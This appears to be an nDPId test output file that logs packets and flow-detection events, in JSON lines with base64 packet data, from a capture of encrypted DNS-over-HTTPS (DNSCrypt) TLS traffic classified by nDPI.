+02306{"flow_id":10,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":141,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":604153,"pkt_caplen":1444,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1444,"pkt_l4_len":1410,"pkt":"ZmZmZmZmRERERERECABFAAWWg4FAADQGf2a5hsQ3CgAAAQG72BqMAvZEFNMFiFAYAfXAzwAArcpCfmGLOKjDkyzsTe+IPkiqYnruzR41MPuGsz88MQqvC3a9HfwXJ6lzqQ4rCWJcWhWOM\/faQczL\/u4LUA47B+3hgIraXqwM7U0QtAPKeofLhsqBn12DazruSHbiIbxy+mEUG3S56+4ZRbB44U5cKRW56AecOVegPdxq19WX7WP4+ZvrOsXSvkcqGqyY6l57+wMNGtK9Hor0ODYeWdBnCWx+J55Yp1BLeNHq9nHIKHj0qCJNcTpuSY3kcxYIKgCzUqmtnXdoJ0GIMlbY2ljKsarNr5cWoMUbBujc0flI7F15VAzRku1eV3Kl\/7Wukzg8w4HiH6xnnC2hyeJ\/S9kg8k3Thktb0MRLph1xkAte3QZc08opc3Fwo1Ft6aRVOUnBzMc2ygQi4cXDCHwkiaI53r8gMzkS7anbEcS4yQcROtN4r2sH3n\/Y2Qw1v5Gb+U\/+RFg8+P9ZzSoFBkttBuC7bMKkuFovtwfD7bmTraXz2TwXRpY3Ao54+\/SNvuV3GwVsY67MLueBEgpQWATGxrbkACZtD4C+lpPBC5\/54MNyZi6y2\/bINiwBN2SHIdC0sG5gR\/DV19ykdqXF3pfYHlmfR3703pqTCdiZz1zhoMZLCPXVwnRt08WzrSf9AJPIVrVED87vfcSxcnSNe9\/uUQ+fPjNxmvMBL8ur1shycxG8A4cFPyuqBeBuBrfVjZFKQN3\/5iT\/qY3bW5kYmBDrHkL2xegzf\/Moa8towjQGmRBeDyc9Fogbi4Bl2lSDI\/x3VZI\/8yRCU0YCrn33V5Yytpt4Nri5jL3CrvqNUKuK49C6RMwZ1n1NkjUcpjeYGCGRXo6SbIn8CHVjiCEwFZ8FbQctAnWvdqfTpT0bXGelftgC9CQThu\/W+ybRqQdwN+K5c2QiXPYvO4kT3LD6oCwacJ4x3t9XRv3AXxYa1UbtXwad0Q5XC17E9XVpbbgKhrlco595yY5V6j1HdG8AkTRI1DXbEp3foy5yEjtW0o9bfHyhwUqC6TBXcyz4z4cHmh5p6A6BMpnvPJtMyGOVMKQ7LtCwwAKXNWcMVkLjSAZ+IrhMtGXoEFJcdmyQxTOI+OfCfdgm6q9yTer0lySMXu3yBMcL6Vn1SuMzS2FSE1aXKAyCBb3XF5Tfnf2rLe4r3hkWTr8Mmu\/+5cpIK1r4NWR0zq6iT\/lnsbxmS39yt3YHMSpG1r36HYatyCzF6kZo6KyW2UJ6fBqDVBmGD6CXSVAKejLC8pL1qmuOu2eXU804WhkOIkczZMz7pQW6C0A+bVJsEuL5Kd7KV\/W2IGcqNMtuMkFf1vHE4VTHRAmWpIDFt5I4ja4qA9N7tAzSWPkgtQseSnNvTrX+nCc0rsjLviAcYafijP+ATzRDOBcDAwEZYz205aORxNiMwaiQeObwk59GyoJ+T+YW4iSATpt8cc0OU+XkwulympL8b+KCt76fJXCt3rgEOglVp2lJQDaaCL0\/EDry33zbH0MtKm5P5nEWpzvQFhaXV1WeS3oS65S\/3UVJT7\/Hm\/AkB6N0iCgWEeK4i80RHGCYRIweyu9kQIUklvy2RlmccKeVQTq37O+\/HqRcQLsrpTkATqOJMvj0MaZ7zkYReeTUbtUUtzasEHVGtHimiktW2DAjF2G7BrMbQnAbkBNJMIcDNYwAwDUJvD2+j752nnR\/ojUHAoRsnlpRRGw8k7CJ0b0wBSknElPWssxoC\/r5K7w37x9u118AdMWjqtzSlF2uDe2PtsgCUxjOE7EkCZxpOWsXAwMARUyGMct3ItX2QiSoGAs2qAHwCi9mgPaAr45Z5ZYVR5NUAg5k1dXUDUazzqq9GbzXT1\/7OFi8y8eMdJWfTGFw9qor9xL6ew=="} +00528{"flow_id":10,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":142,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":606690,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"REREREREZmZmZmZmCABFAAB4TLRAAL0GMlEKAAABuYbEN9gaAbsU0wWIjAL7slAYAfU+5QAAFAMDAAEBFwMDAEX5LOrm\/q2t2eUGDASTuROoLPaXY3V7nIjXeCI2LSFnWiFzKh+skLRrkkkVsvCS7j6wsu3v4MgbuWujQFuzeh3uUOaKgmo="} +00535{"flow_id":10,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":143,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":606815,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+TLVAAL0GMkoKAAABuYbEN9gaAbsU0wXYjAL7slAYAfU+6wAAFwMDAFExh0tAyckORIsAyWSkeVyMG1coXJ4zHtSy0EnQML4KrQawGJNWi7QaLyPqSsPuMMVvSIQJabV34HcU64MxycruXFBNdtWfhrY94XOKn7mHGQ8="} +00643{"flow_id":10,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":144,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":606990,"pkt_caplen":218,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":218,"pkt_l4_len":184,"pkt":"REREREREZmZmZmZmCABFAADMTLZAAL0GMfsKAAABuYbEN9gaAbsU0wYujAL7slAYAfU\/OQAAFwMDAJ8L6RVzwU6TD26VJYQp5ktm+DPa2WXDpoj+jmPAMX648cg4E4QLij297jqwOYjFUlXn12HZ1i67nfV\/9xI9O4CKfT33fJAmaNSesF5bVs69grUh0lv\/hKwxYUbpV1b\/j0pS2sqDnmaLF08Rv3W371wnxvvGFEwWUA3YFYYbYBim1S3GEXb4TZdEO3KO0sFS1kPHe9bdKrhO3sNqJVMmszI="} +00526{"flow_id":10,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":145,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":607062,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB3TLdAAL0GMk8KAAABuYbEN9gaAbsU0wbSjAL7slAYAfU+5AAAFwMDAEpTWV26YrYn6HcwCnHaLnHTixHUnNN3rsGEYdDCZsd0DifVentvq2HxJFksovcUNbSJJDDpC6kZSg9AwFIVp7ssd3w73g5vtqbjJA=="} +01111{"flow_id":10,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":146,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":639930,"pkt_caplen":564,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":564,"pkt_l4_len":530,"pkt":"ZmZmZmZmRERERERECABFAAImg4JAADQGgtW5hsQ3CgAAAQG72BqMAvuyFNMHIVAYAfIU0gAAFwMDAPru0s3GKhpJXNhD6budt+1Up\/OOPX2mlWZfqWMPoxcbofiQfYw7VZ+5kue7\/ONa6cdO8AsVvPK25AEVr7nIpTgt9IpPaTATZXUM3CcewNi06lVX4xixTn8nPjlRaW0\/TLv4UsSTPUz3CLWnpYYmow9+IiYX\/i0SM1k2trHBWEeOqCfGZRTAX3IOkC1GiTJx+6LEVAGmaAz19wYxmIRI6CaJuq3SPhQDTm4i1iNTYp6qXGR2IFQ+SNBh0NONdHrZb1tQRScoPEGzfpkLieeLeJYkEpG65+01AdbW2qiv4PIX5mb+KdZ53tStm5ORM+mD8BwZBHRXH4iUy9fCFwMDAPqUdU4ICO5RnZhChO\/tpuB51j3djhUy7rbKrZ0x2tHvftCvzUafNWPFB5TF8yxB0JZo7Rxttixdp1FAwHKxAhsnKVKbz3Xr4kP5VlV7xQBaRo8YVkLvojKm0\/0looRNGSs0JSyi7By\/3daejGCzU2Ne1+bLazJ\/J0Ic6kXMZzzihyqaIF3bDzVdOUmTetow2tYyR5f5lUjr+QBLvRASWYpQoOterHzywqVszoIA+nEouzJ\/c1RFbTjMTQrl1IaHi3pTBPmE3kSwbLrNS2Ydk\/Kw2MEHOge8dwzpz2vqzearszzvUJHwxuSp87\/3oNNhCD1rnj\/QNFrro9Pn"} +00508{"flow_id":10,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":147,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":640132,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"ZmZmZmZmRERERERECABFAABpg4NAADQGhJG5hsQ3CgAAAQG72BqMAv2wFNMHIVAYAfX54wAAFwMDADxvbsgXJlGjvcwLlt3YsmQo2MTdykEFcVbIFAgPf28vXYrPz1RJRIrsixZBfSWYwjKNDWyO\/BM\/Gyj47fI="} +00461{"flow_id":10,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":148,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":640256,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHTLlAAL0GMn0KAAABuYbEN9gaAbsU0wchjAL98VAYAfU+tAAAFwMDABpzPPu5fkzwy95TpMib2S4vE4pd0WKGrH5qYg=="} +00895{"flow_id":10,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":149,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":641397,"pkt_caplen":404,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":404,"pkt_l4_len":370,"pkt":"ZmZmZmZmRERERERECABFAAGGg4RAADQGg3O5hsQ3CgAAAQG72BqMAv3xFNMHIVAYAfVIwgAAFwMDAVlIzg6dnLIR5lWAAMoYs76wd2hbWGu7Q83KyArMCfZQxeKiUFB6sJqM3q2hb5GmLeH1612qAQz8gT\/YZUN7Z2sUYjAxSs\/+gFlEn8+3I1m2xNxZ55tierppCeAycZ3SwhqO9IBWbn1GFsX+6dzsCA19uAcyym6gAVbQ+C2qIEfEWAUYjtmO1HT6S35SArisnhU0E68di29Qrq6RVuTkVt5s+U0JAGJQWdqbB3wcNwqpPM\/D4CHc8MnUSg+LPOpMMTyOofuLKb115tVYb\/c5pWCTbMzIjEYr7eQ4LUxgcDqc\/EhsfVIfBVtFq\/rcY2vClGmBpccpoHhTvHPWlOJWRhdaRJ6bKpEz\/+ioEx+8mxgXTRxmRPgoJprleZK2aFBjVmLYFi26M2wlqwsyRsoNmyChizromvmW9CVAhMQCcxF2e81JZmZxQ9sERJRD5hZSVn3LFxlbvugxlEQ="} +00466{"flow_id":10,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":150,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":641761,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"REREREREZmZmZmZmCABFAABLTLpAAL0GMngKAAABuYbEN9gaAbsU0wdAjAL\/T1AYAfU+uAAAFwMDAB4wwOMXOL6wlbT2mD8KGfIu+ljq2pDZrvGUR1EMwiA="} +00555{"flow_id":10,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":151,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":641933,"pkt_caplen":152,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":152,"pkt_l4_len":118,"pkt":"REREREREZmZmZmZmCABFAACKTLtAAL0GMjgKAAABuYbEN9gaAbsU0wdjjAL\/T1AYAfU+9wAAFwMDAF1on4nRvK2bkyWrlP0SAUuwD6w5rSzlhYgB6nl5ZQnEauQD2MIH+b+D4mRwD\/YaKUTywjUobUg\/VtD7WsuFfZj8T2odlVaHwsNqDuInuL5BG64WdECnwrPMmLga7G0="} +00574{"flow_id":10,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":152,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":642037,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"REREREREZmZmZmZmCABFAACWTLxAAL0GMisKAAABuYbEN9gaAbsU0wfFjAL\/T1AYAfU\/AwAAFwMDAGktFlMcQj8Va+OYpDNiB95\/ro587yr93e8zdihbqyMV83P2IZwsj0f+Jv9pHYGQ9n2AtFwdPKePqMzPeblgmCnpM3qDLrw8kY1C\/pQgd\/Qdtlar9i\/afTUePgE7YfQmH2jHTE0uokGzZb4="} +00687{"flow_id":10,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":153,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":676139,"pkt_caplen":248,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":248,"pkt_l4_len":214,"pkt":"ZmZmZmZmRERERERECABFAADqg4dAADQGhAy5hsQ3CgAAAQG72BqMAv9PFNMIM1AYAfVnsQAAFwMDAL2QlTU5MNbz+YYrvQfbMQnVVpssEvR+MjlkcOHM62BV0M7DDvyuV8VlfsrwJh6+bCtT\/6rB\/jECI\/SJOtv9w0JHz8w5lYAYSg7eFz+LalbB2hwEqp6U7v3N75+vEfOdsLYkulzq\/cXhvHOPXSRhaeLc24NkG87nlS5QBbHje2FsnGVDwjXfKAh0YBjlxQe0btOA\/Wga8xh0lymrB5k1eb9\/jeWmcathMoM\/0N5YAHOqOLLyX67dwh63luW+DXs="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":154,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":946739311703,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.124.208","src_port":52386,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00808{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":154,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":703652,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"REREREREZmZmZmZmCABFAAFIvxBAAL0GjQMKAAABMw980MyiAbu+o\/fohj5JlVAYAfZx1gAAFgMBARsBAAEXAwOEmak1ToTEOPVX0jBh7rLNZM1Gt5\/Gr6ZvrmdHklieHSAP2LkoS3kAHcBOg6onjDU7HEdrdZ3cuMs9iD3w5kCD4AAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAACoAAAAFwAVAAASZG5zbmwuYWxla2JlcmcubmV0AAUABQEAAAAAAAoACgAIAB0AFwAYABkACwACAQAADQAaABgIBAQDCAcIBQgGBAEFAQYBBQMGAwIBAgP\/AQABAAAQAA4ADAJoMghodHRwLzEuMQASAAAAKwAJCAMEAwMDAgMBADMAJgAkAB0AIGzt4\/5xvtyifU6VTcrfvT+YrIEhagkzRKKKlOYdvDd6"} +00778{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":154,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":946739311703,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.124.208","src_port":52386,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dnsnl.alekberg.net","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +04359{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":155,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":732715,"pkt_caplen":2958,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2958,"pkt_l4_len":2924,"pkt":"ZmZmZmZmRERERERECABFAAuAX8dAADUGahUzD3zQCgAAAQG7zKKGPkmVvqP5CFAQAIN8DgAAFgMDAHoCAAB2AwNcTBj+nowDUUbglTTLuZi3m0Fgte272n9LPifxOMv7HCAP2LkoS3kAHcBOg6onjDU7HEdrdZ3cuMs9iD3w5kCD4BMBAAAuADMAJAAdACCPdFwMNjRtfUXHati0iPvUS7ZISUYNc1KeHBUbO8YTWwArAAIDBBQDAwABARcDAwte+JJAD4P7EW1qK\/KMQB2haaLigWKb\/DYNFwlVC4RO51bq0M8eao6QlrOrDJOFceHVJKhl1p8Ibfrg\/vTRNCJB\/UcW+Fedt+hD1iuUDwTCFZavOS7xwPDkL6497l\/MLuLG4DXgnGeZQ+ANIJd3qmkp82hmnma4vPPfih3FXm2d\/orPnXJKqjQROYWvMcbtvj9Ebb\/txBSHxVMCrKgG408ySWMQj9wSJ3YFhq0yzQL4\/vZaLuRC+Soen8TCR9PMAvnOESL67SWkKNvrhHs7A8wve1+FS4QJZG0DVnfyZjC1lTDakOFEVj8uyQCDIeUSTCCRymHyRKKDInznJ9K1ylbbeIGdenKpQOC\/PvdDSl7uxqaByB3NSIma+imeWtGfSsSVz2bgzfRCO+1shU4LOWr+fJj4VfVm44ziFmXpQXba4f4sLTdWNOjDqe5hsphKeTPq6cjwHY\/8d4YQO1mASNyJu5PHaom1vL8or5mJSUE6nK9PPUFEoI+arXXrdILbrGh6AFzUXQGBrrAdekMh3lpPbuWJTMnyJ+tNhczzi4OaeErbR+eZBtyO483ig0A5ofFGX3QqSY+x\/jYa34H7RpPgi7E73Kv3qvag06VhkcjqWXPokFDtuDpOCx1sHam7i\/mBXaEeSIMn\/6ibfBibK8Ssyhd351G+u7nIG\/kPMrFG9dX2lYQXotCoRmApyZWnnIvnb1Ems9MFs1nWg90WJfHxHinrSdpjBeU8iAbpS\/jrwrYxGk3gVDAv9VGAkZlRz60RiJgOn74olT+JGbdB87Dmd8zXzGHRAs6xX1wLyFHdLBSPxN+wXikNtBamIrek5su\/OhIPfJ9Db8D4NRmo2RQxqPr7fuFEkduV14PFpTKUsiEOkhDJwNg8LiATZ7RVwMg6yMpsydYcgvfMea751TpJNvE95FINDC3Rb\/\/f0HmE4sSUBcBPMBavqAtQ7YhyYupjzYKChAX9lCvR4V0MA3gDeswYrL6CJ2QWYyZ1X5kp+MoOy0A6lbwTY6FAqgtyYhKr1esD7uta6z13oZTeC8zVTDF3SZq3we2RpHyfhsBTKY94xuStpqoHpzXuf67EN9Ci9BXk7ctHV6chPXxbzfNbfHejhQSWblCUVsEWcGJTaWPfYy8Qk91uEWvknUwg3\/gnkTaxOpg74KZR+eQhsLtgXu83uRIpmos4uiAQqNFCr46gFv66IhjUaLn++05xvOtQF+pJff5ceYA3+HVtzS7siCW14iQ0F2g+nmUdK\/l5e2iBJ9jUDVjX1gbsI6q3sWAVlaZSWaqGUPI7tEUJQO+uLheM+t5WJ2hIuHlBrb7V9x7oPe\/w4Jyh22GAaILXTviEQ++5bF7t0H5J22\/uU82cBtUmtPnPK980jnCJpoWHcd5b8NrM+3vBCp31WdecAix\/bw5hrhpdYb3Wuo00LpEwMw5n1XbAIEscw8D\/TDkT3R8DdqFFvsOwEJgVupjA7F1prq8T49hiTkdYl+giz2p0Ayt4KR\/SKb+oWG3y4ZtrykubZr+Qfc18G7yRy1UzXXJ7wFTK5WhTLREjxeCpH6IaQ2zDQ5+I3brP682k2XRTd3nMiVhZaMNZjB3MO3yAICh5zK9ucc+onrCYJIYI\/CtjBj1mJ\/oiWvsTssUIxMNevGNJc8s34PU+GVpiWU7G1gOq2\/oHbQNmNjM6utdbIKFu2BrwDIIIyRNAnfbb8mkTirEZY8JOBVWtUMwNF2wWG\/znmaTdvsV5XVYinNGBvCLJ4cl4jpIhiQHJif7TdKLHCM1mnqE7oXlP0MjNOI8YrXpYFJApJqV+nQMhEAl320hWRRZS9jvtYuADMZM\/zqsrhOwTRUYvn5TUWPPSLkDCWWQT\/boP1Zrm7ipJ29gjQr5TspKmpn4J6SGBQtqSqLcPrjFY1FGqzT0Cxa7I4qGdQmb7BlBoZsZba4XtkUxqQDb7GQ7lF9QZ8stU169sKy3x8YQd1brzqNHrkIJDSvbZZhCJGpijHPtgp\/QG6Dw2\/BImDmY1tBmkVrEm\/bZ+xumAD64t1fYO7WaWjuGbU0Y+9l0+9zDoVeHa476WXFF01qNlSxZZAxFkrGmva65Ha2zNip3N87qP3nyH+3kbjqzMKrpNdw3pOcpWv+PdRxpJZGkBM4aT6LXbJdAxBLLkkepjX3bVMWm9bedod1MvUUZQHAIRVofMSy8iwjG593htNanCQUBVZUhdnlVrmQD4OR5EjaE0aFJSUsVHU2VO9DX1cb2EnPoiZIzX378PPrzLoeda6yE90ZvWYSJeMUQJgjFljjq1Vmv7zPz+m4Us7Q\/oFgLEuTkw4eq\/OB+aA8STNn4AHoTw1B57\/koj\/Tsd4yxadruMqmxj8G0neUx2FN2AmiTBa4RjoLGNzELD8QTXTHG2\/lxfzCVwHvLq9JxQf3uprD59F8Loph7ycBJ+j\/BoYH+iVGt+6GzZ563iyu9UeY0+AiljVO0GFvxbuhFk79OBcmYfgnlTvugErVv1eoGzzwF3KK3N67S4ysk\/cJIT\/DoRZvga\/lMRKstxDLEaDolPIBoEiu4mAsdPBxa5KjB\/uaPK\/Gvldfb7QWo\/hvHLZAM3qCGVxLZ4OSPZzTuJ4fJWIQaOXTrFJVv4TYo67KpO9uvbnZUtP8hCVop9O2qXs\/NKl69+XIEhMfw1KYOxJAcgDxH4xjWm9TWAA+DhZvFs31qLGWSu3CzrM+geUCeE\/Vlrc8pmCZFikrptNtJl0uwOfLeuZUF7VWjDr6R5HxdwbmReRnk8DeQUb8\/JzwIyCR78O7TDjY2uL4IEBoTWwTpLR+tDFV4fNsyzL4VzpHaIwnMWTyomGHXhNDLAvBXN5lZAH1nY9D82KvJ+P8HK2FgOErfXrK6gPfonD48R1bCJofrjuMQkEZVQBGqn5ypZTPRu6EwnkBn4q0ARPtqm0QEoQ1VuhulmyIu4zwbE+pgZlGBWhO+4WIy2SuF0h7yFf\/0cbwCehkDSsGDVM9QRwmW02sBUez1\/0Ml7N8nkc2bCsJgo\/fEUXj1TOn7cIchmlzf+MvAjyYfcGhECzHaENxMQIFKZWAib9UAuoVCbRMTYEaO8+NZKwO6bZTHvUzm+gaaUre7sgcCCP\/wfz0OXBRWwpNRR4m\/LwYXSYWMMhKP7tqCCj6OXjzq62VPsWFinT4KE+SZYXF5y6EZay9KdRh4kW7ybiZ7hqI6uqO0\/mKAHQ\/xlXAuQ2EOnYG47KeZUkoht4zFh4Q7AcG7Q0FtDwRhJqM+GVySAg9IbIymkvgNTTZyOY3isJHVYzmKvFAgPib7ERkwsvRQ\/S8lGEoG+lZogb0KK4PyuRpdocXBa4Io1guVhX2K44\/qHOYqiQPL\/Vb5wtdOiDpag22zTziquJAPx3Cc98vOxAd33lx77fZMHNMz95phNb\/gH\/oBI60jIQ5icFLLZs+m7nP7\/6KXDZlQEY8H6HyN8CbMnqheODed7gRjDQsbXi9MHr27blhbJLCz\/qn8J0uletyL+6GpmTu9W1AZiLdNt26PN\/1uozWEq9dfJLpT7KZnW6S0qvTBGlR4kX8O3fku9pK2qyz9s7t7Ockp7sMMWorJbLnKYK0PgDcQi4HUA+VDHi2RlLA\/XZ9u3fGBeP6zmmrFeEhRc6glZV1JpHMW35YHtgDMlMPiXVu6VYVSboWqwuvKzMobkKuX8tZFxZtF8Qlpv25zGgKwz"} +00831{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":155,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":2,"flow_first_seen":946739311703,"flow_last_seen":946739311732,"flow_tot_l4_data_len":3232,"flow_min_l4_data_len":308,"flow_max_l4_data_len":2924,"flow_avg_l4_data_len":1616,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.124.208","src_port":52386,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"dnsnl.alekberg.net","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00616{"flow_id":11,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":156,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":734143,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"ZmZmZmZmRERERERECABFAAC4X8lAADUGdNszD3zQCgAAAQG7zKKGPlTtvqP5CFAYAIMEyQAAeS0tOv0CsE56CKvTlOFyTsi\/xDWjEiSHZ06cNkY05jGBZ0BY+\/8ar9VauCfvuAhmfbkHRsufSt9+BCdWOZTLG2pLv7Rqy1KMbXDj1dE3FFg5TtH6GqR+kavc+JEGFEgehaZ\/FbuVi\/sk8mhzGqOKXx4crPRKN7mN3k61duL6EtdmqASfaRcWFkjwmH\/5s907"} +00509{"flow_id":11,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":157,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":735907,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"REREREREZmZmZmZmCABFAABovxNAAL0GjeAKAAABMw980MyiAbu+o\/kIhj5VfVAYAfVw9gAAFAMDAAEBFwMDADUgVFuFuNgwePbawSbqpxqNFUCOzmkYzG2pGl01BK01AFH98ErPdE\/IsFBOcddeF+MHO+I0\/g=="} +00539{"flow_id":11,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":158,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":736019,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+vxRAAL0GjckKAAABMw980MyiAbu+o\/lIhj5VfVAYAfVxDAAAFwMDAFEtdUh44cEGQdA3iHwUtUH1NhGg8lVZ04bNaTVbyKMgEel2TlTxN4YD1\/YJJ3t8IZOkmDbABbG1rTX\/m4jdYwD9NvWe4\/dWFtcJFflMl6AIJvE="} 